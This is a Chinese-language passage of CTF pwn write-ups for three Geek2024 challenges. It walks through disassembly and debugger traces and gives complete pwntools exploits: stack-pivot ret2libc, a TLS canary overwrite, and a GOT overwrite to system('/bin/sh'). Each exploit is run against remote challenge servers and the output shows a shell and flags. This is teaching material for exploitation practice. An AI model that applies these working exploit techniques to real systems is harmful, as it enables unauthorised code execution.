这里出现了data全局量,但是并没有在后续调用?我们看看汇编。

; Attributes: bp-based frame

; unsigned __int64 take_elevator()
public take_elevator
take_elevator proc near

var_3C= dword ptr -3Ch
var_38= qword ptr -38h
buf= byte ptr -30h
var_8= qword ptr -8

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 40h
mov     rax, fs:28h
mov     [rbp+var_8], rax
xor     eax, eax
lea     rax, aHowManyFloorsD ; "how many floors do you want to go?"
mov     rdi, rax        ; format
mov     eax, 0
call    _printf
lea     rax, [rbp+var_3C]
mov     rsi, rax
lea     rax, aD         ; "%d"
mov     rdi, rax
mov     eax, 0
call    ___isoc99_scanf
mov     eax, [rbp+var_3C]
shl     eax, 3
cdqe
mov     cs:data, rax
sub     rsp, 404050h
lea     rax, s          ; "oh , the elevator maybe broken"
mov     rdi, rax        ; s
call    _puts
lea     rax, aButYouCanCallP ; "but you can  call phone to rescue you"
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+var_38]
mov     rdi, rax
call    ask_phone
mov     rax, [rbp+var_38]
movq    xmm0, rax
lea     rax, aYouCallTheNumb ; "you call the number is %lf"
mov     rdi, rax        ; format
mov     eax, 1
call    _printf
lea     rax, aYouHaveBeSaved ; "you have be saved, please send a messag"...
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+buf]
mov     edx, 28h ; '('  ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
nop
mov     rax, [rbp+var_8]
sub     rax, fs:28h
jz      short locret_4013E5

可以看到其中有个比较关键的地方

mov     cs:data, rax
sub     rsp, 404050h

0x404050的部分的值与rsp作差。那么0x404050是什么?

不难猜到0x404050就是data所在的地址

.bss:0000000000404050 data            dq ?                    ; DATA XREF: take_elevator+52↑w

也就是说,我们可以通过控制data进而去控制rsp不难想到这道题应该考察栈排布的相关知识。

我们继续向后观察

还有ask_phone()函数,可以用来读取浮点数。

read(0, buf, 0x28uLL);

此处的read()向buf上读入了0x28字节的数据,但是buf实际上更大,有0x30个字节,甚至覆盖不到rbp,这道题没有明显的溢出点。怎么办呢?我们在没有思路的时候,或者说思路不明确的时候,要经常调试

我们先重点看一下涉及到栈排布的部分

0x0000000000401348 in take_elevator ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────
*RAX  0x0
 RBX  0x0
 RCX  0x7ffff7ea6887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x0
 RDI  0x40204b ◂— 0x20686f0000006425 /* '%d' */
 RSI  0x7fffffffe404 ◂— 0xf7e12faa00000000
 R8   0x22
 R9   0x7ffff7fc9040 ◂— endbr64
 R10  0x402028 ◂— 'how many floors do you want to go?'
 R11  0x246
 R12  0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
 R13  0x4013e7 (main) ◂— endbr64
 R14  0x403da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
 RSP  0x7fffffffe400 —▸ 0x402122 ◂— 'This is a elevator'
*RIP  0x401348 (take_elevator+69) ◂— call 0x401110
───────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────
   0x401332 <take_elevator+47>    lea    rax, [rbp - 0x3c]
   0x401336 <take_elevator+51>    mov    rsi, rax
   0x401339 <take_elevator+54>    lea    rax, [rip + 0xd0b]
   0x401340 <take_elevator+61>    mov    rdi, rax
   0x401343 <take_elevator+64>    mov    eax, 0
 0x401348 <take_elevator+69>    call   __isoc99_scanf@plt                      <__isoc99_scanf@plt>
        format: 0x40204b ◂— 0x20686f0000006425 /* '%d' */
        vararg: 0x7fffffffe404 ◂— 0xf7e12faa00000000

   0x40134d <take_elevator+74>    mov    eax, dword ptr [rbp - 0x3c]
   0x401350 <take_elevator+77>    shl    eax, 3
   0x401353 <take_elevator+80>    cdqe
   0x401355 <take_elevator+82>    mov    qword ptr [rip + 0x2cf4], rax <data>
   0x40135c <take_elevator+89>    sub    rsp, qword ptr [data]         <0x404050>
─────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp rsi-4 0x7fffffffe400 —▸ 0x402122 ◂— 'This is a elevator'
01:0008│           0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
02:0010│           0x7fffffffe410 ◂— 0x0
03:0018│           0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
04:0020│           0x7fffffffe420 ◂— 0x0
05:0028│           0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
06:0030│           0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
07:0038│           0x7fffffffe438 ◂— 0x887b9ff98d219700
───────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────
 0         0x401348 take_elevator+69
   1         0x401421 main+58
   2   0x7ffff7dbbd90
   3   0x7ffff7dbbe40 __libc_start_main+128
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

汇编指令如下

pwndbg> x/20i $rip
=> 0x401348 <take_elevator+69>:         call   0x401110 <__isoc99_scanf@plt>
   0x40134d <take_elevator+74>:         mov    eax,DWORD PTR [rbp-0x3c]
   0x401350 <take_elevator+77>:         shl    eax,0x3
   0x401353 <take_elevator+80>:         cdqe
   0x401355 <take_elevator+82>:         mov    QWORD PTR [rip+0x2cf4],rax        # 0x404050 <data>
   0x40135c <take_elevator+89>:         sub    rsp,QWORD PTR ds:0x404050
   0x401364 <take_elevator+97>:         lea    rax,[rip+0xce5]        # 0x402050
   0x40136b <take_elevator+104>:        mov    rdi,rax
   0x40136e <take_elevator+107>:        call   0x4010b0 <puts@plt>
   0x401373 <take_elevator+112>:        lea    rax,[rip+0xcf6]        # 0x402070
   0x40137a <take_elevator+119>:        mov    rdi,rax
   0x40137d <take_elevator+122>:        call   0x4010b0 <puts@plt>
   0x401382 <take_elevator+127>:        lea    rax,[rbp-0x38]
   0x401386 <take_elevator+131>:        mov    rdi,rax
   0x401389 <take_elevator+134>:        call   0x4012b7 <ask_phone>
   0x40138e <take_elevator+139>:        mov    rax,QWORD PTR [rbp-0x38]
   0x401392 <take_elevator+143>:        movq   xmm0,rax
   0x401397 <take_elevator+148>:        lea    rax,[rip+0xcf8]        # 0x402096
   0x40139e <take_elevator+155>:        mov    rdi,rax
   0x4013a1 <take_elevator+158>:        mov    eax,0x1

根据汇编指令推断,我们写入data一个正数,那么rsp将会抬高。我们输入1试试看

未执行抬栈时

00:0000│ rsp 0x7fffffffe400 ◂— 0x100402122 /* '"!@' */
01:0008│     0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
02:0010│     0x7fffffffe410 ◂— 0x0
03:0018│     0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
04:0020│     0x7fffffffe420 ◂— 0x0
05:0028│     0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
06:0030│     0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
07:0038│     0x7fffffffe438 ◂— 0x887b9ff98d219700
08:0040│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1

执行抬栈时

00:0000│ rsp 0x7fffffffe3f8 —▸ 0x40134d (take_elevator+74) ◂— mov eax, dword ptr [rbp - 0x3c]
01:0008│     0x7fffffffe400 ◂— 0x100402122 /* '"!@' */
02:0010│     0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
03:0018│     0x7fffffffe410 ◂— 0x0
04:0020│     0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
05:0028│     0x7fffffffe420 ◂— 0x0
06:0030│     0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
07:0038│     0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
08:0040│     0x7fffffffe438 ◂— 0x887b9ff98d219700
09:0048│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1

可以看到我们的rsp从0xe400减小到了0xe3f8,抬高了0x8字节。

这与伪代码中data = 8 * v1相符合。也就是说,我们输入一个正整数n,那么rsp就会被抬高8n字节。那么我们如果输入**-1**呢?试试看

未执行抬栈时

00:0000│ rsp 0x7fffffffe400 ◂— 0xffffffff00402122 /* '"!@' */
01:0008│     0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
02:0010│     0x7fffffffe410 ◂— 0x0
03:0018│     0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
04:0020│     0x7fffffffe420 ◂— 0x0
05:0028│     0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
06:0030│     0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
07:0038│     0x7fffffffe438 ◂— 0x66956b679cfd5000
08:0040│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1

执行抬栈时

00:0000│ rsp 0x7fffffffe408 —▸ 0x7ffff7e12faa (puts+346) ◂— cmp eax, -1
01:0008│     0x7fffffffe410 ◂— 0x0
02:0010│     0x7fffffffe418 —▸ 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1
03:0018│     0x7fffffffe420 ◂— 0x0
04:0020│     0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
05:0028│     0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
06:0030│     0x7fffffffe438 ◂— 0x66956b679cfd5000
07:0038│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1

可以看到执行完sub指令后,rsp0xe400变为了0xe408栈下降了!这说明了data实际上是一个有符号整数,而当我们输入负数时,经过sub指令,自然就变成了加上一个正数,由于栈是由高地址向低地址增长的,所以实际上栈是降低了也就是rsp变得更靠近rbp

有什么用呢?你可能会想到我们刚刚发现的read()函数

read(0, buf, 0x28uLL);

之前我们不是说,这个read()读入的字节数太小了吗?那如果我们通过刚才的手法降低rsp,缩短rsprbp的距离,使得read()rsp开始读入数据能覆盖到rbp及以下的数据不就行了

这里还有个小问题,就是我们在查保护的时候,不是发现函数开启了canary吗?那不就不能直接通过栈溢出来控制程序执行流了嘛?

这里涉及到read()函数的底层逻辑,简单来说,read()在调用时会先将下一条指令push到栈上当作返回地址,然后调用_read,这个时候进入read()执行完后再ret出来,这个过程中是没有canary保护的,所以我们可以通过修改read()的返回地址来控制程序的执行流。

控制程序执行流后,直接打ret2libc即可。

 0x7ffff7ea67e0 <read+16>       syscall  <SYS_read>
        fd: 0x0 (/dev/pts/0)
        buf: 0x7fffffffe410 —▸ 0x403da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
        nbytes: 0x28

可以看到read()函数内部调用syscall时从0xe410开始读入

00:0000│ rsp 0x7fffffffe418 —▸ 0x4013d0 (take_elevator+205) ◂— nop
01:0008│     0x7fffffffe420 ◂— 0x0
02:0010│     0x7fffffffe428 —▸ 0x7fffffffe450 ◂— 0x1
03:0018│     0x7fffffffe430 —▸ 0x7fffffffe568 —▸ 0x7fffffffe7b3 ◂— 0x726f772f6674632f ('/ctf/wor')
04:0020│     0x7fffffffe438 ◂— 0xb7d24bccdf400500
05:0028│ rbp 0x7fffffffe440 —▸ 0x7fffffffe450 ◂— 0x1

我们控制data为-0x20时,栈排布如上,rspread()push上去的返回地址,刚好位于0xe418的位置,读入0x8个垃圾数据后就可以覆盖到这个返回地址。

EXP

from pwn import *
context(arch='amd64', os='linux',log_level='info',terminal=['tmux','splitw', '-h'])

def debug():
    gdb.attach(io)
    pause()

# IO
##io = process('./pwn')
io = remote('nc1.ctfplus.cn', 42061)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

#init
ret_addr = 0x40101a
pop_rdi = 0x40127f
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = 0x401303

#stack fengshui
io.sendlineafter(b'floors do you want to go?', str(-4))
io.sendlineafter(b'want to call?', str(0))

#leak libc
payleak = cyclic(0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.sendafter(b'for the man!!\n', payleak)

puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
log.info('libc_base: 0x{:x}'.format(libc_base))

#stack fengshui
io.sendlineafter(b'floors do you want to go?', str(-4))
io.sendlineafter(b'want to call?', str(0))

#getshell
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload = cyclic(0x8) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
io.sendafter(b'for the man!!\n', payload)

io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 42061: Done
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯plus/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)
    RUNPATH:  b'./libc.so.6'
[*] '/ctf/work/Geek2024/Pwn/学校的烂电梯plus/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
exp.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter(b'floors do you want to go?', str(-4))
exp.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter(b'want to call?', str(0))
[*] libc_base: 0x7f3cd63dd000
exp.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter(b'floors do you want to go?', str(-4))
exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter(b'want to call?', str(0))
[*] Switching to interactive mode
$ cat flag
flag{20710c5a-0491-470c-9711-4c666ae173b6}
$

EzStackOverflow#

涉及知识点:覆写TLS结构体绕过canary,任意地址写,基本ROP 检查保护

$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/overflow/pwn'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'./libc.so.6'

存在canary。

看看ida的伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-28h] BYREF
  char v5[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  buf = 0LL;
  init_func();
  puts("Welcome to 2024 Geek pwn channel!");
  printf("give this gift:");
  printf((const char *)__readfsqword(0), argv);
  printf("\nplease input *ptr:");
  read(0, &buf, 8uLL);
  if ( (__int64)((_QWORD)buf << 60) >> 60 == -8 || !((__int64)((_QWORD)buf << 60) >> 60) )
  {
    printf("A???");
    exit(0);
  }
  printf("change *address:");
  read(0, buf, 7uLL);
  printf("buf:");
  read(0, v5, 0x70uLL);
  return 7;
}

可以发现

  printf("give this gift:");
  printf((const char *)__readfsqword(0), argv);

题目一开始就泄露了一个东西,实际上就是fs寄存器的地址,这里存放着我们的TLS结构体,而我们的canary就是由这个结构体生成。

  printf("\nplease input *ptr:");
  read(0, &buf, 8uLL);
  printf("change *address:");
  read(0, buf, 7uLL);

这里可以看到7个字节的任意写,前一个read写向buf地址,可以控制后一个read的buf指针。而后一个read修改buf上的内容,实际上就是任意地址写

这里有个限制

  if ( (__int64)((_QWORD)buf << 60) >> 60 == -8 || !((__int64)((_QWORD)buf << 60) >> 60) )
  {
    printf("A???");
    exit(0);
  }

就是限制了地址结尾不能是0x0和0x8

结合题目一开始给出的fs寄存器地址,我们就可以去修改fs + 0x28的位置,就是存放canary的位置,修改此处为我们想要的canary的值,在栈溢出时只需要对答案就可以了

绕过限制也很简单,+1就可以了,因为题目只能让我们写0x7字节,而canary有0x8字节,末尾由\x00填充,也就是我们只用写前七个字节就可以了。

EXP

from pwn import *
context(arch='amd64', os='linux', log_level='debug',terminal=['tmux','splitw', '-h'])

def debug():
    gdb.attach(io)
    pause()

#IO
##io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
io = remote("nc1.ctfplus.cn", 48018)

#recv fs:base
io.recvuntil(b'gift:')
fs_base = u64(io.recv(6).ljust(0x8, b'\x00'))
log.success("fs_base: " + hex(fs_base))

#overwrite TLS struct
canary_addr = fs_base + 0x28
log.success("canary_addr: " + hex(canary_addr))

io.sendafter(b'*ptr:', p64(canary_addr+1)) ###'+1' to bypass
io.sendafter(b'change *address:',b'abcdefg')

#ret2libc - init
pop_rdi = 0x40123f
ret_addr = 0x4011be
printf_plt = elf.plt['printf']
read_got = elf.got['read']

#ret2libc - leak libcbase
payleak = flat([cyclic(0x18),b'\x00abcdefg',0x403f00,pop_rdi,read_got,0,ret_addr,0x401346])
io.sendafter(b'buf:', payleak)

read_addr = u64(io.recv(6).ljust(0x8, b'\x00'))
log.success("read_addr: " + hex(read_addr))
libcbase = read_addr - libc.symbols['read']
log.success("libcbase: " + hex(libcbase))

#ret2libc - get shell
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh\x00'))
log.success("system_addr: " + hex(system_addr))
log.success("binsh_addr: " + hex(binsh_addr))
payload = flat([cyclic(0x18),b'\x00abcdefg',0,pop_rdi,binsh_addr,ret_addr,system_addr])
io.send(payload)
io.interactive()

RESULT

[*] '/ctf/work/Geek2024/Pwn/overflow/pwn'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'./libc.so.6'
[*] '/ctf/work/Geek2024/Pwn/overflow/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to nc1.ctfplus.cn on port 48018: Done
[+] fs_base: 0x7f101cde5740
[+] canary_addr: 0x7f101cde5768
[+] read_addr: 0x7f101cefc7d0
[+] libcbase: 0x7f101cde8000
[+] system_addr: 0x7f101ce38d70
[+] binsh_addr: 0x7f101cfc0678
[*] Switching to interactive mode
$ cat flag
flag{bac3a896-f9ed-40c8-996b-cee8fd1c9fcb}
$

我的空调呢#

涉及知识点:IDA结构体修复,整数溢出,覆写got表,数组越界 老规矩,先查保护

$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/我的空调呢/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)

Partial RELRO,got表可写;有canary。

拖进IDA看下伪代码

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("We need you find my air conditioner T^T.\nBefor that,please tell me your team.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            v4 = menu();
            if ( v4 != 1 )
              break;
            add();
          }
          if ( v4 != 2 )
            break;
          view();
        }
        if ( v4 != 3 )
          break;
        delete();
      }
      if ( v4 != 4 )
        break;
      edite();
    }
    if ( v4 != 5 )
      break;
    fun();
  }
  return 0;
}

这代码写的有点离谱的。一个循环结构,分别实现了五个功能,我们挨个看一下。

add()

__int64 add()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  puts("\n--->>ADD<<---:");
  ptr = (__int64)&student;
  v1 = 0LL;
  while ( *(_QWORD *)ptr )
  {
    if ( v1 == 15 )
    {
      puts("Areadly full.");
      return 0LL;
    }
    ++v1;
    ptr = (__int64)&student + 48 * v1;
  }
  puts("Your name:");
  read(0, (void *)(ptr + 8), 8uLL);
  puts("Introduce:");
  read(0, (void *)(ptr + 16), 0x20uLL);
  *(_QWORD *)ptr = 1LL;
  return 0LL;
}

这里出现了student这个全局变量,用ida看下

.bss:00000000004040E0 student         dq 60h dup(?)           ; DATA XREF: add+20↑o

实际上student是个结构体,我们用以下代码修复

struct Student{
  __int64 isused;
  char name[0x8];
  char introduce[0x20];
}Student;

在ida中打开View->Open subviews->Local Types打开本地类型视图,右键点击Insert

插入刚刚准备好的结构体。

返回add()函数,修改student变量类型为

struct Student student;

修改ptr为

struct Student *ptr;

美化后代码为:

__int64 add()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  puts("\n--->>ADD<<---:");
  ptr = student;
  v1 = 0LL;
  while ( ptr->isused )
  {
    if ( v1 == 15 )
    {
      puts("Areadly full.");
      return 0LL;
    }
    ptr = &student[++v1];
  }
  puts("Your name:");
  read(0, ptr->name, 8uLL);
  puts("Introduce:");
  read(0, ptr->introduce, 0x20uLL);
  ptr->isused = 1LL;
  return 0LL;
}

这个函数就是向bss段上写入一些数据,创建一个新的Student

view()

unsigned __int64 view()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\n--->>VIEW<<---:");
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  if ( student[v1].isused && v1 <= 0xF )
  {
    printf("Student name:");
    write(1, student[v1].name, 8uLL);
    printf("\nIntroduce:%s\n", student[v1].introduce);
  }
  else
  {
    puts("There is no information.");
  }
  return __readfsqword(0x28u) ^ v2;
}

访问对应下标的Student结构体,并打印信息。

delete()

unsigned __int64 delete()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\n--->>DELETE<<---:");
  puts("Maybe the air conditioner's outdoor unit is here.\nHave you found something?");
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  if ( student[v1].isused && v1 <= 0xF )
  {
    student[v1].isused = 0LL;
    memset(student[v1].name, 0, 0x28uLL);
  }
  else
  {
    puts("Is`t using or over range.");
  }
  return __readfsqword(0x28u) ^ v2;
}

将对应数据段置0,即删除对应的Student结构体。

edite()

unsigned __int64 edite()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\n--->>EDITE<<---:");
  puts("The indoor unit of the air conditioner is here.");
  printf("Index: ");
  __isoc99_scanf("%d", &v1);
  if ( student[v1].isused && v1 <= 15 )
  {
    puts("message:");
    read(0, student[v1].introduce, 0x20uLL);
  }
  else
  {
    puts("There is no information.");
  }
  return __readfsqword(0x28u) ^ v2;
}

修改对应下标的Student结构体的introduce字段。

注意此处的v1是int类型,输入负数可以越界修改,只要有值就能改。

fun()

unsigned __int64 fun()
{
  void *buf; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf = 0LL;
  if ( !FLAG )
    exit(0);
  puts("Please input an address.(such as 0xffff)");
  __isoc99_scanf("%llx", &buf);
  printf("massege:");
  write(1, buf, 8uLL);
  FLAG = 0;
  return __readfsqword(0x28u) ^ v2;
}

这个函数很关键,scanf调整buf指针,然后write出对应地址,实际上是个任意读

整道题没有明显的溢出点,但是checksec提示Partial RELRO我们可以修改got表来重定向到我们想要的函数。

怎么修改呢?edite()函数;

我们先看一下整个got表

.got.plt:0000000000404000 ; ===========================================================================
.got.plt:0000000000404000
.got.plt:0000000000404000 ; Segment type: Pure data
.got.plt:0000000000404000 ; Segment permissions: Read/Write
.got.plt:0000000000404000 _got_plt        segment qword public 'DATA' use64
.got.plt:0000000000404000                 assume cs:_got_plt
.got.plt:0000000000404000                 ;org 404000h
.got.plt:0000000000404000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000404008 qword_404008    dq 0                    ; DATA XREF: sub_401020↑r
.got.plt:0000000000404010 qword_404010    dq 0                    ; DATA XREF: sub_401020+6↑r
.got.plt:0000000000404018 off_404018      dq offset puts          ; DATA XREF: _puts+4↑r
.got.plt:0000000000404020 off_404020      dq offset write         ; DATA XREF: _write+4↑r
.got.plt:0000000000404028 off_404028      dq offset __stack_chk_fail
.got.plt:0000000000404028                                         ; DATA XREF: ___stack_chk_fail+4↑r
.got.plt:0000000000404030 off_404030      dq offset setbuf        ; DATA XREF: _setbuf+4↑r
.got.plt:0000000000404038 off_404038      dq offset printf        ; DATA XREF: _printf+4↑r
.got.plt:0000000000404040 off_404040      dq offset memset        ; DATA XREF: _memset+4↑r
.got.plt:0000000000404048 off_404048      dq offset read          ; DATA XREF: _read+4↑r
.got.plt:0000000000404050 off_404050      dq offset __isoc99_scanf
.got.plt:0000000000404050                                         ; DATA XREF: ___isoc99_scanf+4↑r
.got.plt:0000000000404058 off_404058      dq offset exit          ; DATA XREF: _exit+4↑r
.got.plt:0000000000404058 _got_plt        ends
.got.plt:0000000000404058

delete()函数中有memset()的调用

memset(student[v1].name, 0, 0x28uLL);

我们可以将memset()的got表地址修改为system()的地址,在add()函数中

  puts("Your name:");
  read(0, ptr->name, 8uLL);

写入八个字节,如果经常做题很快就能反应过来/bin/sh\x00正好是八个字节,那么我们这里就add一个binsh,然后再修改memset()函数的got表地址为system()的地址,这样就能执行system("/bin/sh")了。

总结一下思路

  1. 使用fun()泄露出puts@got,计算出system()的地址
  2. 使用edite()修改delete()函数中memset()的got表地址为system()的地址
  3. 使用add()student[v1].name/bin/sh\x00
  4. 调用delete()触发system("/bin/sh")

EXP

from pwn import *

filename = './pwn'

debug = 1
if debug:
    io = remote('nc1.ctfplus.cn', 34821)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'info', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

io.sendlineafter('chioce>:', '5')
io.sendline('0x404018')

io.recvuntil('massege:')
libcbase = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['puts']
success('libcbase =>> ' + hex(libcbase))
sys = libcbase + libc.sym['system']
printf = libcbase + libc.sym['printf']

io.sendlineafter('chioce>:', '4')
io.sendline('-4')

io.send(b'A' * 0x8 + p64(printf) + p64(sys))

io.sendlineafter('chioce>:', '1')
io.sendafter('name:\n', '/bin/sh\x00')
io.sendafter('Introduce:\n', 'A')

io.sendlineafter('chioce>:', '3')
io.sendline('0')

io.interactive()

RESULT

[+] Opening connection to nc1.ctfplus.cn on port 34821: Done
[*] '/ctf/work/Geek2024/Pwn/我的空调呢/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)
[*] '/ctf/work/Geek2024/Pwn/我的空调呢/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
exp.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter('chioce>:', '5')
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
exp.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline('0x404018')
exp.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.recvuntil('massege:')
[+] libcbase =>> 0x7f0cf74ea000
exp.py:29: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter('chioce>:', '4')
exp.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline('-4')
exp.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter('chioce>:', '1')
exp.py:35: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendafter('name:\n', '/bin/sh\x00')
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
exp.py:36: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendafter('Introduce:\n', 'A')
exp.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendlineafter('chioce>:', '3')
exp.py:39: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  io.sendline('0')
[*] Switching to interactive mode

--->>DELETE<<---:
Maybe the air conditioner's outdoor unit is here.
